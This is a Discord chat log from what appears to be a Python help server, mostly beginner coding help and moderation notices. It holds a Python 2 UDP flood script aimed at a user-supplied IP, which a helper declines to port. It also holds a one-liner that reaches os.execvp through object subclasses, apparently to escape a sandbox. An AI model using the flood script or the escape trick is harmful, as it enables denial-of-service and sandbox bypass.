serene turret
#

ey thane

sterile grove
#

woah nice

serene turret
#

how u doing

frosty epoch
#
4 - 3 * 2
# -2

(4 - 3) * 2
# 2

@wicked minnow

wicked minnow
#

print("Mål om du er overvægtigt eller ej")
s = float(input("Vægt: "))
a = float(input("Højde (i meter): "))

print(f"Du har en BMI på {s / (a * a)}")

if h < 18.5:
print (f"Du er undervægtig med en bmi på {h}." )
if h >= 18.5 and h <= 25:
print(f"Du er sund og normal vægt, med en vægt på{h}.")

ruby wind
frosty epoch
#

```py
python code
```

wicked minnow
#

^^^py

#
print("Mål om du er overvægtigt eller ej")
s = float(input("Vægt: "))
a = float(input("Højde (i meter): "))

print(f"Du har en BMI på {s / (a * a)}")

if h < 18.5:
    print (f"Du er undervægtig med en bmi på {h}." )
if h >= 18.5 and h <= 25:
    print(f"Du er sund og normal vægt, med en vægt på{h}.")
#
print("Mål om du er overvægtigt eller ej")
s = float(input("Wheigt: "))
a = float(input("Height (in meter): "))

print(f"You have a BMI on {s / (a * a)}")`
frosty epoch
#
>>> s = 2
>>> a = 2
>>> f"something {s / (a * a)}"
'something 0.5'
ruby wind
wicked minnow
#

170

#

1,70

#

55/(1,70*1,70)

frosty epoch
#

!eval 55 / ( 1.7** )

wise cargoBOT
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

wicked minnow
#
print("Mål om du er overvægtigt eller ej")
s = float(input("Wheigt: "))
a = float(input("Height: "))

b = a / 100

print(f"You have a BMI on {s / (b * b)}")
frosty epoch
wicked minnow
frosty epoch
#

!user

wise cargoBOT
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

ruby wind
#

@frosty epoch I GOT THE THING TO WORK

frosty epoch
#

Congraduations

ruby wind
#

OH MY GOD THIS STUPID, RANDOM, ALMOST UNNOTICABLE THING TOOK OVER 12 HOURS TO FIX

#

IM SO PROUD OF MYSELF

#

ALAST

frosty epoch
#

The satisfaction from solving a problem is nice.

ruby wind
#

yesss

#

it is all worth

signal raven
#

what are you guys doing?

#

ill brb

whole bear
dark seal
#

come on man no politics here

pure bluff
#

@frosty epoch that pfp looks familiar

pure bluff
#

Ok so

slate frost
#

i cant talk

#

i gotta go

tame pelican
hexed laurel
#

@edgy cobalt @nocturne ridge whenever you guys are done with what your doing can you help me out?

edgy cobalt
#

sure

hexed laurel
#

my mic is really bad so I can't really talk

#

I do not want to blow your ears out 😐

#

@hexed laurel when your done

edgy cobalt
#

k

edgy cobalt
#

.format

#

f' {}'

whole bear
#

@hexed laurel WHAT DO YOU NEED HELP WITH

hexed laurel
#

I think I got it

whole bear
#

8080

#

import socket
import random
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #Opens a new socket

bytes = random._urandom(1024) #Creates packet

ip = raw_input('Target IP: ')
port = int(input('Port: '))
duration = input('Number of seconds to send packets: ')
timeout = time.time() + duration
sent = 0

while True:
if time.time() > timeout:
break
else:
pass
sock.sendto(bytes, (ip, port))
send = sent + 1
print "sent §s

#

someone help me with this code

edgy cobalt
#

thats python 2 cod

#

e

whole bear
#

how do i make it python 3

edgy cobalt
#

look up same tutorial for python 3

whole bear
#

i cant find anything

edgy cobalt
#

look it up on yt

whole bear
#

i cant find anything

edgy cobalt
whole bear
#

this guy is really complicated

edgy cobalt
#

start with tutorial i sent you

#

by freecodecamp

#

otherwise you wont understand a word

whole bear
#

how to send packets to a specific IP address

edgy cobalt
#

i dont know,

whole bear
#

i just wanna prank my friends no biggie

edgy cobalt
#

yeah no

whole bear
#

why not

#

In computer networking, localhost is a hostname that refers to the current computer used to access it. It is used to access the network services that are running on the host via the loopback network interface. Using the loopback interface bypasses any local network interface h...

whole bear
#

automating the boring stuff with python

willow light
#

how to send packets to a specific IP address
@whole bear ping address

hexed laurel
#

@digital vigil

#

yes

#

my mic is really bad

#

its good

#

I need help with something

#
 progress = num / limit
        print("The process is:",round(progress, 5),"% complete...")
#

thats my code

#

it is in a loop

#

yes voice channel general

#

o

#

yeah im decent

#

I can do some stuff 🙂

#

imma go to Code/Help

#

@whole bear

#

😦

digital vigil
#

goodluck

hexed laurel
#

everyone mute as soon as I join KEKW

whole bear
#

@hexed laurel come

hexed laurel
#

yo

#

my mic is bad

whole bear
#

f''

hexed laurel
#

I want it to show just the first 4 decimals

#

but round makes the output 0.0%

whole bear
#

0.0000

hexed laurel
#

yes

#

excactly like that

#

round seems to not do that

#

yeah but when I try it

#

the output is the same

whole bear
#

round(5, 5)

hexed laurel
#
def triangular_number():
    limit = 10000000001
    for num in range(1,limit):
        _factors_ = []
        progress = num / limit
        print("The process is:",round(progress, 5),"% complete...")
        for i in range(1,num + 1):
            if (num % i) == 0:
                _factors_.append(i)
                break
        if len(_factors_) == 1000:
            print(num)
            break

triangular_number()
whole bear
#

codecademy @rustic perch

hexed laurel
#

@rustic perch I use project euler for practice 😉

whole bear
#
> name = "Eric"
> >>> age = 74
> >>> f"Hello, {name}. You are {age}."
> 'Hello, Eric. You are 74.'
hexed laurel
#

LOL

whole bear
#

0.01

#

0.02

#

0.05

hexed laurel
#

one sec

whole bear
#

100 * progress

#

40/100

#

0.4

hexed laurel
#

when I remove round I get

#

5.60889999943911e-06

#

and its actually updates

#

or seems to updates

#

not just 0.0 for eternity

#

ok

#

your 100 * progress

#

this dude so funny

#

it works now 😉

#

i needed to multiply it by 100

#

lol

whole bear
#

0.05

hexed laurel
#

decimals

whole bear
#

0.05 = 5%

hexed laurel
#

idk

#

I am kinda slow

#

yeah

#

gtg

whole bear
whole bear
whole bear
wispy umbra
#

let me bring it up

gusty rose
#

why so many people in voice

whole rover
whole bear
whole rover
#

!d importlib.import_module

wise cargoBOT
#
importlib.import_module(name, package=None)```
Import a module. The *name* argument specifies what module to import in absolute or relative terms (e.g. either `pkg.mod` or `..mod`). If the name is specified in relative terms, then the *package* argument must be set to the name of the package which is to act as the anchor for resolving the package name (e.g. `import_module('..mod', 'pkg.subpkg')` will import `pkg.mod`).... [read more](https://docs.python.org/3/library/importlib.html#importlib.import_module)
whole rover
#

no __import__ pls 😔

daring haven
#

Anyone can join @gusty rose

whole rover
#

modules/space.py

#

modules.space

#

importlib.import("modules.space")

leaden comet
#

Path(__file__).parent.iterdir() should be everything you need to find all the filenames in that folder.

#

you can get Path from pathlib

whole rover
#

!e ```py
import importlib

my_sys = importlib.import_module("sys")

print(my_sys)

wise cargoBOT
#

@whole rover :white_check_mark: Your eval job has completed with return code 0.

<module 'sys' (built-in)>
gusty rose
#

why is importlib better than __import__

#

i guess i can probably google that

whole rover
gusty rose
#

huh

daring haven
#

That worked @whole rover

whole rover
#
import importlib

importlib.reload(importlib)

@leaden comet

#
next(c for c in object.__subclasses__()if'ModuleLock'in str(c)).acquire.__globals__['sys'].modules['os'].execvp("dc",("dc","-e",input()+"p"))
daring haven
#

Can you mute your mic if you're not talking please?? For clear voice chat

leaden comet
#

!otn a joe-talk-so-deep

wise cargoBOT
#

:ok_hand: Added joe-talk-so-deep to the names list.

leaden comet
#

!tempmute 699333113007964321 3d intentionally disruptive in voice chat. Be more polite in the future.

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied mute to @whole bear until 2020-06-12 20:09 (2 days and 23 hours).

daring haven
#

Thank you @leaden comet

whole bear
#

@whole rover OFFtopic but i like Your voice

slate frost
#

please mute the mic if you are not going to speak

#

there is a lot of echo

leaden comet
#

!tempmute 352571486525063168 3d being intentionally obnoxious in the voice channel

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied mute to @whole bear until 2020-06-12 20:19 (2 days and 23 hours).

daring haven
#

So much echoes 😖😖. Please mute your mic if not in use

whole bear
#
    return _bootstrap._gcd_import(name[level:], package, level)
  File "<frozen importlib._bootstrap>", line 1014, in _gcd_import
  File "<frozen importlib._bootstrap>", line 991, in _find_and_load
  File "<frozen importlib._bootstrap>", line 975, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 671, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 783, in exec_module
  File "<frozen importlib._bootstrap>", line 219, in _call_with_frames_removed
  File "/home/xilog/autotek/at/urls.py", line 2, in <module>
    from . import views
  File "/home/xilog/autotek/at/views.py", line 6, in <module>
    from dracoengine import draco
  File "/home/xilog/autotek/dracoengine/draco.py", line 10, in <module>
    from dracoengine.modules import space
  File "/home/xilog/autotek/dracoengine/modules/__init__.py", line 24, in <module>
    mod = importlib.import_module(import_name)
  File "/usr/lib/python3.8/importlib/__init__.py", line 127, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
ModuleNotFoundError: No module named 'modules'
fluid shale
#

can I show the loader I have ?

whole rover
#

yep!

fluid shale
#
import pathlib

def get_py(ignore: set = set()):
    for file in pathlib.Path('.').glob('**/*.py'):
        if ignore & set(file.parts):
            continue
        
        *tree, _ = file.parts
        
        if tree:
            yield '.'.join(tree) + '.' + file.stem
        else:
            yield file.stem
            
for module in get_py({'__init__.py',}):
    print(module)
whole rover
#

pathlib glob is cool

olive sentinel
#

what fun

#

lemon is furiously typing

leaden comet
#

!tempban 398501375622905856 7d trolling a staff code stream by playing loud meme music

olive sentinel
#

never a good sign

wise cargoBOT
#

failmail :ok_hand: applied ban to @woeful perch until 2020-06-16 20:43 (6 days and 23 hours).

leaden comet
#

skeppy is why we can't have nice things.

daring haven
#

I missed a lot😣. What are we on

placid bluff
#

guys what can i automate whit python that can help me in life

junior oxide
#

Can you explain how to use Decorators?

ivory shuttle
#

I stopped asking questions on this server because I rubber ducky debug 100% of the time

daring haven
#

@junior oxide hold on a minute please. I'll try

ivory shuttle
#

def get_py(ignore: set = set()): what kind of alien getset is this lol

daring haven
#
def decor(func):
  def wrap():
    print("============")
    func()
    print("============")
  return wrap

def print_text():
  print(input())

decorated = decor(print_text)
decorated()

print_text = decor(print_text)
whole rover
#
import importlib
import inspect
from pathlib import Path

# Create reference to this file
this_file = Path(__file__)

# Find the parent directory
module_directory = this_file.parent

# Loaded modules list
modules = []

# Iterate through all file
for file in module_directory.iterdir():
    # Ignore non-Python files
    if file.suffix != ".py":
        continue

    # Ignore the __init__.py file
    if file.name == "__init__.py":
        continue

    import_name = f"{file.parent.stem}.{file.stem}"

    # Import the module
    mod = importlib.import_module(import_name)

    # Fetch all items from mod
    members = dict(inspect.getmembers(mod))

    # Merge the variables from the sub-module with the init file
    globals().update(members)
ivory shuttle
#

what about the decorator functions with @ signs in them

#

what's that all about, I can't seem to understand it

olive sentinel
#

!tempban 662039837620305920 1d You're obviously here to annoy us

wise cargoBOT
#

failmail :ok_hand: applied ban to @sonic mortar until 2020-06-10 21:02 (23 hours and 59 minutes).

daring haven
#

I had issues with that today but I'll get back to it when I'm free then explain to you @ivory shuttle

ivory shuttle
#

alright

#

lemme google it(for the 4th time) just to try and understand it more

daring haven
#

Great or you can try get it on sololearn @ivory shuttle

ivory shuttle
daring haven
#

Cool. I'll chck it out now

whole rover
#
from my_module.lemon import my_lemon_function
from my_module.orange import my_orange_function

do_not_import = 10

__all__ = ["my_lemon_function", "my_orange_function"]

junior oxide
#

why can't you stream in games/general?

ivory shuttle
#

longest time I've been in a discord voice chat lol

daring haven
#

You can @junior oxide

silent schooner
#

why i am server muted? , i didnt interfere in between

#

i was about to say something , found out i am server muted

junior oxide
#

You can @junior oxide
@daring haven Are you sure?

daring haven
#

Yes @junior oxide join me there

whole rover
#
from my_module import lemon
whole bear
whole rover
#
from my_module import lemon, orange

__all__ = ["lemon", "orange"]

#
from my_module import lemon, orange

lemon.init_module()
orange.init_module()
whole bear
#
    for mod in modules:
        mod.load_module()
#
09/Jun/2020 21:15:37 >> Draco Engine >> SUCCESS >> Loaded API Module
#

Yup it works 🙂

#

👍

daring haven
#

Wow. You do scripting?? @whole bear

whole bear
#

I do python yes.

daring haven
#

Cool

whole bear
whole bear
hidden cove
#

Can you read this?

whole bear
#

No

#

jkjk yes

#

But i cant

hidden cove
#

I accidentally denied microphone access and now can't turn it on.

whole bear
#

def is_won(n_wins, best_of=3):
    if n_wins > (best_of / 2):
        return True
    
    return False
#

!paste

wise cargoBOT
#

Pasting large amounts of code

If your code is too long to fit in a codeblock in discord, you can paste your code here:
https://paste.pydis.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

late forge
whole bear
#
fighter_scores = {"Sub Zero": 0,
                  "Scorpion": 0}
#

!e

fighter_scores = {"Sub Zero": 0,
                  "Scorpion": 0}

for score in fighter_scores.values():
  print(name)
#

!e

s = "Sub Zero"
s = s.replace("Zero", "Hero")
print(s)
wise cargoBOT
#

@whole bear :white_check_mark: Your eval job has completed with return code 0.

Sub Hero
whole bear
#
s = "Sub Zero"
s.replace("Zero", "Hero")
print(s)
#
def add(a, b):
  return a + b
#
def subtract(a, b):
  return a - b
#
d = {"+" : add,
     "-" : subtract}
#

d["+"]

#

d["+"](2, 2)

hidden cove
hidden cove
#
# Obtains working proxy IP address from proxy list website

import urllib.request
import ssl
from bs4 import BeautifulSoup

# Set up ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

# Obtain raw html from website
proxies_url = 'https://www.us-proxy.org/'
request = urllib.request.Request(proxies_url, headers={'User-Agent': 'Mozilla/5.0'})
html = urllib.request.urlopen(request, context=ctx).read()

# Whittle raw html into list of IP addresses
soup = BeautifulSoup(html, 'html.parser')
proxy_table_rows = soup.select('#proxylisttable tr')[1:-1]
proxy_ip_list = [row.next_element.string + ':' + row.next_element.next_element.next_element.string
                 for row in proxy_table_rows]

# Test the proxies to find one that is responsive

test_url = 'https://httpbin.org/ip'

for proxy_ip in proxy_ip_list:
    proxies = {'https': proxy_ip,
               'http': proxy_ip}
    try:
        proxy_support = urllib.request.ProxyHandler(proxies)
        opener = urllib.request.build_opener(proxy_support)
        urllib.request.install_opener(opener)
        test_response = urllib.request.urlopen(test_url).read().decode()
        print(test_response)
        break
    except:
        print(proxy_ip + ' failed')
        continue
wheat barn
#
print ("room 1 \n")
user = input ("you can go north, east, or west")

if user == ("north"):
  print ("room 4 \n")
  user = input ("you can go east, south, or west")

if user == ("east"):
  print ("room 6 \n")
  user = input ("you can go north or west")

if user == ("west"):
  print ("room 2 \n")
  user = input ("you can go north or east")
  if user == ("north"):
    print ("room 5 \n")
    user = input ("you can go east or south")
hidden cove
#
print('Hello World!')
#
x = 1
#
if x == 2:
  print('Two')
else:
  print('One')
slate frost
#

WIFITE

whole bear
wheat barn
#
room_number1= (print ("room 1" "\n"
+print(input ("you can go north, east, or west"))))
#
room_number1= (print("room 1""\n")(input("you can go north, east, or west")))
#
import random

room_number1=(print("room 1""\n")(input ("you can go north, east, or west")))

room_number2=(print("room 2""\n")(input ("you can go north or east")))

room_number3=("room 3")

room_number4=("room 4")

room_number5=("room 5")

room_number6= ("room 6")
hidden cove
#
room_num_in = 1

while True:
  if room_num_in == ...
    while True:
      dir_moved = input(...)
      if dir_moved == ....
         ...
         break
      elif ...
  elif ...
  ...
  else
steady vault
#

i created siri in python i can teach u

#

🤬

winged osprey
#

cool

hexed laurel
#

I am in the call

runic pier
#

no

slate frost
slate frost
#

here

granite glade
#

@normal hinge

#

type here

#

@normal hinge ur mic isnt working

normal hinge
marble venture
#

hi

whole bear
#

@dry jackal

shell dome
whole bear
#

hey people

#

why not use a package manager?

#

so you can just chocolate install python3

#

That's an example

#

On Debian I just use apt

polar palm
#

¯_(ツ)_/¯ package managers in windows

#

I think people use what they know on windows

#

I personally use anaconda distribution if I have to use a PC

#

not it's best cause I don't know, but it just does (tm)

nimble elbow
whole bear
#

@wheat locust Did you need code help?

#

@clever mango Did you need code help?

clever mango
#

nah

whole bear
#

Was curious, since you joined the Code/Help voice channel

#

@upper steeple Did you need code help?

upper steeple
#

no just wondering if the person in vc did lol

whole bear
#

Ah, they don't appear to be responding/available

upper steeple
#

alright then lol

rough linden
#

yeild

#

yeild

abstract ravine
#

can u specify where exactly

whole bear
#

@hollow pendant What was your question?

calm sage
#

@whole bear please mute mic if you have background noise

whole bear
#

i was listening to my favourite song

#

ö i hate you now

#

dis hit hard ö

#

me doing this for video

#

switching server

calm sage
#

!warn 650057575869579274 "This is your last warning, mute your mic if there's background sound and don't disrupt channel"

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied warning to @whole bear.

whole bear
#

lol ok#

vivid stone
#

I personally use anaconda distribution if I have to use a PC
@polar palm
I use miniconda in whatever environment I have to use xD
I love it!

placid bluff
#
from bs4 import BeautifulSoup

URL = 'https://www.corsair.com/eu/en/Categories/Products/Gaming-Keyboards/RGB-Mechanical-Gaming-Keyboards/K95-RGB-PLATINUM-XT-Mechanical-Gaming-Keyboard/p/CH-9127414-NA'

headers = {"User-Agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'}

page = requests.get(URL, headers=headers)

soup = BeautifulSoup(page.content, 'html.parser')

title = soup.find(id="product-name").get_text()
price = soup.find(id="price")
converted_price = price[0:5]

print(converted_price)


#

C:\Users\Adem\Desktop\Scraper>python index.py
Traceback (most recent call last):
File "index.py", line 14, in <module>
converted_price = price[0:5]
File "C:\Users\Adem\AppData\Local\Programs\Python\Python38-32\lib\site-packages\bs4\element.py", line 1401, in getitem
return self.attrs[key]
TypeError: unhashable type: 'slice'

#
from bs4 import BeautifulSoup

URL = 'https://www.corsair.com/eu/en/Categories/Products/Gaming-Keyboards/RGB-Mechanical-Gaming-Keyboards/K95-RGB-PLATINUM-XT-Mechanical-Gaming-Keyboard/p/CH-9127414-NA'

headers = {"User-Agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'}

page = requests.get(URL, headers=headers)

soup = BeautifulSoup(page.content, 'html.parser')

title = soup.find(id="product-name").get_text()
price = soup.find(id="price")
converted_price = price[0:5]

print(converted_price)

print(title)
#

K95 RGB PLATINUM XT Mechanical Gaming Keyboard — CHERRY® MX SPEED

#
from bs4 import BeautifulSoup

URL = 'https://www.corsair.com/eu/en/Categories/Products/Gaming-Keyboards/RGB-Mechanical-Gaming-Keyboards/K95-RGB-PLATINUM-XT-Mechanical-Gaming-Keyboard/p/CH-9127414-NA'

headers = {"User-Agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'}

page = requests.get(URL, headers=headers)

soup = BeautifulSoup(page.content, 'html.parser')

title = soup.find(id="product-name").get_text()
price = soup.find(id="price")


print(title)
slate frost
#

int(price)

placid bluff
#

price = soup.find( int(price)id="price")

slate frost
#

price = soup.find(id="price")
parsePrice = int(price)

placid bluff
#
from bs4 import BeautifulSoup

URL = 'https://www.corsair.com/eu/en/Categories/Products/Gaming-Keyboards/RGB-Mechanical-Gaming-Keyboards/K95-RGB-PLATINUM-XT-Mechanical-Gaming-Keyboard/p/CH-9127414-NA'

headers = {"User-Agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36'}

page = requests.get(URL, headers=headers)

soup = BeautifulSoup(page.content, 'html.parser')

title = soup.find(id="product-name").get_text()
price = soup.find(id="price")
parsePrice = int(price)
converted_price = price[0:5]

print(converted_price)

print(title)```
#

C:\Users\Adem\Desktop\Scraper>C:/Users/Adem/AppData/Local/Programs/Python/Python38-32/python.exe c:/Users/Adem/Desktop/Scraper/index.py
Traceback (most recent call last):
File "c:/Users/Adem/Desktop/Scraper/index.py", line 14, in <module>
parsePrice = int(price)
TypeError: int() argument must be a string, a bytes-like object or a number, not 'Tag'

slate frost
#

price = soup.find(id="price").get_text()
converted_price = int(price)

#

print(converted_price)

upper steeple
#

@halcyon nest

halcyon nest
#

hello

upper steeple
#

post your code here like
```python
code goes here
```

#

this

halcyon nest
#
import random

random.randint(9, 12);

upper goblet
#
print("Hello World")
fringe fjord
#
def try:
   print("try complete") 
analog gate
#
iplay = True
whattt = ["You","Never","Played","Tuber Simulator"]
for blubblub in whattt:
  print(blubblub) if iplay == True else print("WOTTTTTTT "*5)
#

thx @upper steeple

sleek tiger
#

`

lusty eagle
#

test

sleek tiger
whole bear
#

word

#

""" yes"""

#

damn

sleek tiger
#
Day score
1 840,068
2 840,519
2 840,960
3 841,004
4 841,826
uncut pollen
nocturne ridge
#

@help-python =>hey i need help with modifying/adding code to my GUI interface, I need to add timer/counter of max 60 min(59:59) minutes and seconds which when im pressing a button im doing couple things including launching this counter when he gets to zero im sending from my server/GUI '-1' to the clients in order to stop the traffic ..
im using tkinter lib thanks for the helpers!

whole bear
rough linden
#

@everyone Are there any good alternatives towards GUI python devlopement than using Tkinter?

graceful sigil
#

hey

#

@grand pewter yeah

#

@grand pewter am here

#

@grand pewter mic problems

whole bear
#

@rough linden PyQT

neat prairie
#

i have a question about python is there anyone that can help me?

whole bear
#

Hi

#

How are you?

neat prairie
whole bear
neat prairie
#

winner = 'Player 1 wins!'

hexed crow
#

@earnest crag

waxen hollow
#

hey wassup

#

i just gonna start up selenium any 1 knows already

#

i'm there at games channel lets have a talk

candid oyster
#

Sounds like you guuys are doing a ritual-

#

Someone asked me if hola was french, that was the day i questioned my existance.

#

I can't talk rn but i can unmute...

whole bear
#

i cri

#

say something i'm giving up on you

candid oyster
#

something i'm giving up on you

dark seal
#

??

whole bear
#

anywhere i woulda followed youuuuu

#

BAN

candid oyster
#

You told me to though?

#

;c

#

Ill talk when i wake up

whole bear
hasty forge
#

sequence = models.CharField(max_length=20, help="Sequence number attributed by the bank")

#

help doesn't exist

#

found it:
sequence = models.CharField(max_length=20, help_text="Sequence number attributed by the bank")

hasty forge
#

尝试使用在线服务翻译您的问题。

#

或者也许只是用您的语言输入您的问题,我们将尝试翻译。

#

You guys are trolls xD

edgy cobalt
#

xie hua piao piao

hasty forge
#

@thin shale

thin shale
#

hei

#

我可以问问题吗?

hasty forge
#

thin shale
#

你是怎样翻译我的语言的

#

edgy cobalt
#

hasty forge
#

Google Translate

#

效果很好

edgy cobalt
errant helm
#

!rule 4

wise cargoBOT
#

4. This is an English-speaking server, so please speak English to the best of your ability.

hasty forge
#

The guy has trouble speaking english

errant helm
#

Ah, I see

hasty forge
#

And he can't quite access translate service from China

thin shale
#

如何学好一门编程语言

errant helm
#

Hmm, yeah, that's difficult

edgy cobalt
#

哪一个?